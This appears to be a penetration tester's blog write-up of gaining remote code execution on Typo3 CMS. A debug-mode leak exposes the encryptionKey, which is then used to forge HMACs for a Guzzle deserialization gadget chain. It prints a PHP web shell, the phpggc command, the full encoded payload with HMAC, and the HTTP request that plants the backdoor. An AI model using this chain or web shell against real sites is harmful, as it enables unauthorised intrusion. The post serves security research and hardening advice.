Typo3: leak to Remote code execution.

Written by Hugo Vincent - 17/12/2020 - in Pentest - Download
Typo3 is an open source CMS we have recently encountered during one of our missions. We successfully exploited a configuration leak on this CMS to gain remote code execution on this application. This article describes the different steps to go from unauthenticated user to unsafe object deserialization and gain code execution.

Crash me I'll give you my encryptionKey

During a past assessment, we found a running instance of the Typo3 CMS1, nothing engaging was exposed and we didn't manage to find interesting vulnerabilities. We then decided to brute force the administration login panel with common credentials using burp. Among all the requests, one return a 500 error. We manually retried those credentials, but nothing happened, we just received "bad credentials" with a 200 OK status code. After carefully looking at the error returned by the server, we discovered that the Typo3 CMS returned a lot of debug information. A snippet of the configuration file was returned within the debug information with something called encryptionKey.

encryptionKey leak.
encryptionKey leak.
Note that this was due to the debug feature which was enabled on the server. However, getting access to this secret value could be achieved by exploiting another vulnerability in the application like an arbitrary file read. This might sound unrealistic, but it can happen in some cases as explained before. This article is based on the knowledge of this encryptionKey.
 

encryptionKey to arbitrary deserialization

Before going straight to the arbitrary code execution let's understand the purpose of this key.

This encryptionKey can be found in the typo3conf/LocalConfiguration.php file, and is unfortunately, from an attacker's point of view, randomly generated during the initialization of the CMS:

$randomKey = GeneralUtility::makeInstance(Random::class)->generateRandomHexString(96);
$localConfigurationArray['SYS']['encryptionKey'] = $randomKey;
As its name suggests it, this key should be interesting. In fact, this encryptionKey is used to sign and validate HMAC. Those HMAC are computed by the server before being returned to the client. They can be found in URLs or in the request body. For example, the following POST request contains an HMAC in the cHash parameter of the URL and an HMAC appended to the __trustedProperties value in the request body:
POST /?tx_indexedsearch_pi2%5Baction%5D=search&tx_indexedsearch_pi2%5Bcontroller%5D=Search&cHash=ed57230a657369152de194385e91b622 HTTP/1.1
Host: 172.19.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1713
Origin: http://172.19.0.2
Connection: close
Referer: http://172.19.0.2/
Cookie: cookieconsent_status=dismiss; fe_typo_user=45230ff2e762663d0fca0dd2dcb6f3ce
Upgrade-Insecure-Requests: 1

[...]&tx_indexedsearch_pi2[__trustedProperties]={"search":{"_sections":1,"_freeIndexUid":1,"pointer":1,"ext":1,"searchType":1,"defaultOperand":1,"mediaType":1,"sortOrder":1,"group":1,"languageUid":1,"desc":1,"numberOfResults":1,"extendedSearch":1,"sword":1,"submitButton":1}}ec27818a487d1d3ee4794939e12b19e152c9c050[...]
This ensures that the user can't modify the URL or the parameters sent to the server. In Typo3, there is a method called validateAndStripHmac, responsible for validating the HMAC and stripping it so that only the parameter is returned. It's called before using the current parameter. This function is called in different parts of the Typo3 CMS, two calls drew our attention.
 
First in ActionController.php :
    protected function forwardToReferringRequest()
    {
        $referringRequest = null;
        $referringRequestArguments = $this->request->getInternalArguments()['__referrer'] ?? null;
        if (is_string($referringRequestArguments['@request'] ?? null)) {
            $referrerArray = json_decode(
                $this->hashService->validateAndStripHmac($referringRequestArguments['@request']),
                true
            );
            $arguments = [];
            if (is_string($referringRequestArguments['arguments'] ?? null)) {
                $arguments = unserialize(
                    base64_decode($this->hashService->validateAndStripHmac($referringRequestArguments['arguments']))
                );
            }
This function is called when a form is sent to the server. The __referrer parameter is controlled by the attacker, which means that the attacker can modify the arguments parameter with arbitrary serialized data. This can only be achieved if we know the encryptionKey used to calculate the HMAC. If those conditions are met, the server will call unserialize with our controlled data, which means arbitrary data unserialization potentially leading to arbitrary code execution. We used this code path during our assessment to gain arbitrary code execution on the server. However for unknown reasons we didn't manage to exploit the same code path on the latest Typo3 version. But don't worry, we will achieve the same goal using another path.
 
The other interesting file is FormRuntime.php:
    /**
     * Initializes the current state of the form, based on the request
     * @throws BadRequestException
     */
    protected function initializeFormStateFromRequest()
    {
        $serializedFormStateWithHmac = $this->request->getInternalArgument('__state');
        if ($serializedFormStateWithHmac === null) {
            $this->formState = GeneralUtility::makeInstance(FormState::class);
        } else {
            try {
                $serializedFormState = $this->hashService->validateAndStripHmac($serializedFormStateWithHmac);
            } catch (InvalidHashException | InvalidArgumentForHashGenerationException $e) {
                throw new BadRequestException('The HMAC of the form could not be validated.', 1581862823);
            }
            $this->formState = unserialize(base64_decode($serializedFormState));
        }
    }
The same pattern is present, we can unserialize arbitrary data if we manage to calculate a valid HMAC. This function is called when a user posts a form, for example the default contact form:
POST /?tx_form_formframework%5Baction%5D=perform&tx_form_formframework%5Bcontroller%5D=FormFrontend&cHash=b33877a3c4f1b42f2c6777650086a260 HTTP/1.1
Host: 172.19.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------24017043475779607362499426862
Content-Length: 1853
Origin: http://172.19.0.2
Connection: close
Referer: http://172.19.0.2/?tx_indexedsearch_pi2%5Baction%5D=search&tx_indexedsearch_pi2%5Bcontroller%5D=Search&cHash=ed57230a657369152de194385e91b622
Cookie: cookieconsent_status=dismiss; fe_typo_user=45230ff2e762663d0fca0dd2dcb6f3ce
Upgrade-Insecure-Requests: 1

-----------------------------24017043475779607362499426862
Content-Disposition: form-data; name="tx_form_formframework[contactform-215][__state]"

TzozOToiVFlQTzNcQ01TXEZvcm1cRG9tYWluXFJ1bnRpbWVcRm9ybVN0YXRlIjoyOntzOjI1OiIAKgBsYXN0RGlzcGxheWVkUGFnZUluZGV4IjtpOjA7czoxMzoiACoAZm9ybVZhbHVlcyI7YTowOnt9fQ==727a54675ea3c1e7534c8e7c21e04a48adaa40d9
-----------------------------24017043475779607362499426862
Content-Disposition: form-data; name="tx_form_formframework[__trustedProperties]"

[...]

When a user sends the form, the __state parameter is used and base64 serialized data is being sent to the server, we got our entry point.

Guzzle

By looking at the composer.json file we can observe that the current version of the Typo3 CMS uses the version 6.3.0 of guzzle:
	"require": {
        [...]
		"guzzlehttp/guzzle": "^6.3.0",
        [...]

This version of guzzle contains public gadget chains to perform different kind of actions upon deserialization:

❯ ./phpggc -l                                                                                                          

Gadget Chains
-------------

NAME                                      VERSION                        TYPE             VECTOR         I    
[...]
Guzzle/FW1                                6.0.0 <= 6.3.3+                file_write       __destruct          
Guzzle/INFO1                              6.0.0 <= 6.3.2                 phpinfo()        __destruct     *    
Guzzle/RCE1                               6.0.0 <= 6.3.2                 rce              __destruct     *
[...]
So the idea of the attack is to generate the Guzzle gadget chain payload thanks to phpggc2, base64 encode it and calculate our HMAC with the leaked key. We used the Guzzle/FW1 gadget to create a backdoor on the server:
❯ cat $LOCALPATH/exploits/synacktiv.php                                                        
<?php $output = system($_GET[1]); echo $output ; ?>
❯ ./phpggc -b --fast-destruct Guzzle/FW1 /var/www/html/fileadmin/_temp_/synacktiv.php $LOCALPATH/exploits/synacktiv.php
YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6NDQ6Ii92YXIvd3d3L2h0bWwvZmlsZWFkbWluL190ZW1wXy9zeW5hY2t0aXYucGhwIjtzOjUyOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBzdG9yZVNlc3Npb25Db29raWVzIjtiOjE7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTozOntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjUyOiI8P3BocCAkb3V0cHV0ID0gc3lzdGVtKCRfR0VUWzFdKTsgZWNobyAkb3V0cHV0IDsgPz4KIjt9fX1zOjM5OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAHN0cmljdE1vZGUiO047fWk6NztpOjc7fQ==

We dropped our payload in the fileadmin/_temp_/ folder. Indeed this folder can be directly accessed, there is no restriction. We then wrote a simple PHP script to calculate the corresponding HMAC:
❯ php hash_gen.php YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6NDQ6Ii92YXIvd3d3L2h0bWwvZmlsZWFkbWluL190ZW1wXy9zeW5hY2t0aXYucGhwIjtzOjUyOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBzdG9yZVNlc3Npb25Db29raWVzIjtiOjE7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTozOntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjUyOiI8P3BocCAkb3V0cHV0ID0gc3lzdGVtKCRfR0VUWzFdKTsgZWNobyAkb3V0cHV0IDsgPz4KIjt9fX1zOjM5OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAHN0cmljdE1vZGUiO047fWk6NztpOjc7fQ==
[+] Use : YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6NDQ6Ii92YXIvd3d3L2h0bWwvZmlsZWFkbWluL190ZW1wXy9zeW5hY2t0aXYucGhwIjtzOjUyOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBzdG9yZVNlc3Npb25Db29raWVzIjtiOjE7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTozOntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjUyOiI8P3BocCAkb3V0cHV0ID0gc3lzdGVtKCRfR0VUWzFdKTsgZWNobyAkb3V0cHV0IDsgPz4KIjt9fX1zOjM5OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAHN0cmljdE1vZGUiO047fWk6NztpOjc7fQ==9ecc700ac3060f36c2fb453d1bee817457ea652a

Our payload is ready and can be sent via the contact form:

POST /?tx_form_formframework%5Baction%5D=perform&tx_form_formframework%5Bcontroller%5D=FormFrontend&cHash=b33877a3c4f1b42f2c6777650086a260 HTTP/1.1
Host: 172.19.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------217244431034861670112942596286
Content-Length: 2506
Origin: http://172.19.0.2
Connection: close
Referer: http://172.19.0.2/
Cookie: cookieconsent_status=dismiss; fe_typo_user=45230ff2e762663d0fca0dd2dcb6f3ce; be_typo_user=3d5ac596f84a8452736b9e4463c88a89
Upgrade-Insecure-Requests: 1

-----------------------------217244431034861670112942596286
Content-Disposition: form-data; name="tx_form_formframework[introductionContactForm-216][__state]"

YToyOntpOjc7TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6NDQ6Ii92YXIvd3d3L2h0bWwvZmlsZWFkbWluL190ZW1wXy9zeW5hY2t0aXYucGhwIjtzOjUyOiIAR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphcgBzdG9yZVNlc3Npb25Db29raWVzIjtiOjE7czozNjoiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBjb29raWVzIjthOjE6e2k6MDtPOjI3OiJHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUiOjE6e3M6MzM6IgBHdXp6bGVIdHRwXENvb2tpZVxTZXRDb29raWUAZGF0YSI7YTozOntzOjc6IkV4cGlyZXMiO2k6MTtzOjc6IkRpc2NhcmQiO2I6MDtzOjU6IlZhbHVlIjtzOjUyOiI8P3BocCAkb3V0cHV0ID0gc3lzdGVtKCRfR0VUWzFdKTsgZWNobyAkb3V0cHV0IDsgPz4KIjt9fX1zOjM5OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAHN0cmljdE1vZGUiO047fWk6NztpOjc7fQ==9ecc700ac3060f36c2fb453d1bee817457ea652a
-----------------------------217244431034861670112942596286
Content-Disposition: form-data; name="tx_form_formframework[__trustedProperties]"

{"introductionContactForm-216":{"fullname":1,"company":1,"email":1,"subject":1,"message":1,"85fuAgTL2rbGChHFcoQBU3vJya":1,"__currentPage":1}}7ca532237995d476b70c3a98e047bec49f366963
[...]

An error is received, but the deserialization has already happened and our file is present on the server:

Code execution.
Code execution after deserialization.

Conclusion

In this blogpost we studied how a partial leak could lead to arbitrary code execution on the Typo3 CMS. This leak was possible thanks to the debug mode being activated. This should remind developers that enabling debug mode in production can lead to dangerous security issues.

meme